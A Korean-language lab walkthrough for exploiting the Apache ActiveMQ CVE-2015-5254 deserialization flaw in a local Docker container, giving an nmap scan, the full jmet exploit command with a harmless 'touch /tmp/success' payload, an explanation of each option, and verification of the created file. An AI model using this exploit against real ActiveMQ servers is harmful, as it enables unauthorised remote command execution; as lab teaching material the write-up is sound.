
jmet을 사용한 Apache ActiveMQ CVE-2015-5254 역직렬화 취약점에 대한 단계별 익스플로잇 가이드로, Docker 기반 랩 설정 및 검증을 포함합니다.
CVE-2015-5254 취약점은 오픈 소스 메시징 서버인 Apache ActiveMQ의 보안 결함으로, 애플리케이션 간 통신에 널리 사용됩니다. 이 취약점은 ActiveMQ 5.13.0 이하 버전에 영향을 미치며, 전송된 JMS ObjectMessage 입력 데이터에 대한 필터링 부재로 인해 발생합니다.
네트워크 스캔: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1

다운로드한 폴더에서 docker를 사용하여 actiiveMQ 2015를 실행합니다:

activeMQ 버전을 확인합니다:

버전 5.11.1입니다.
악용:
이 취약점에 대해 다음 명령을 사용합니다:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616
이 명령은 jmet 도구를 사용하여 Apache ActiveMQ CVE-2015-5254 취약점 악용을 시도합니다. 각 옵션에 대한 설명은 다음과 같습니다:
java -jar jmet-0.1.0-all.jar : 독립형 JAR 파일(jmet-0.1.0-all.jar)을 사용하여 jmet(Java Message Exploitation Tool) 도구를 실행합니다.
-Q event : ActiveMQ의 대상 "queue"(대기열)를 "event"로 지정합니다. 도구가 이 큐를 통해 악성 메시지를 전송합니다.
-I ActiveMQ : 대상이 Apache ActiveMQ 서버임을 나타냅니다.
-s : "stealth"(은밀) 모드로 악용을 실행합니다. 이는 대상에서 생성되는 로그나 경고를 최소화할 수 있습니다.
-Y "touch /tmp/success" : 성공 시 대상 서버에서 실행될 악성 페이로드를 지정합니다. 이 경우 touch /tmp/success 명령은 /tmp 디렉토리에 success라는 파일을 생성하여 악용이 성공했음을 증명합니다.
-Yp ROME : 취약점 악용을 위해 "ROME" 페이로드(ActiveMQ에 대해 도구에서 지원하는 특정 페이로드 유형)를 사용합니다.
172.17.0.1 61616 : 대상 Apache ActiveMQ 서버의 IP 주소(172.17.0.1)와 포트(61616)를 지정합니다.
요약 이 명령은 Apache ActiveMQ의 역직렬화 취약점을 악용하여 "event" 큐에 악성 메시지를 주입하고 원격으로 명령을 실행하려고 시도합니다. 악용에 성공하면 대상 ActiveMQ 서버는 touch /tmp/success 명령을 실행하며, 이는 성공적인 악용의 지표(파일 생성)가 됩니다. 즉, ActiveMQ 서버의 파일 시스템, 특히 /tmp/ 디렉토리에 success라는 파일을 침투시키려는 것입니다.

악용이 성공적으로 이루어졌음을 확인할 수 있습니다!!!
Apache ActiveMQ에서 다음과 같은 감지 메시지가 나타납니다:

메시지를 클릭합니다:

다음 명령어들을 입력합니다:
docker ps -a 실행 중인 activeMQ 컨테이너를 확인하면 19ab278527c7 컨테이너가 보입니다. 다음을 실행합니다: docker exec -it 19ab278527c7 /bin/bash 컨테이너를 통해 activemq 서버에 인증합니다.
인증에 성공했으며 /tmp/ 디렉토리에 success 파일이 생성되었음을 확인할 수 있습니다:

악용 종료!!!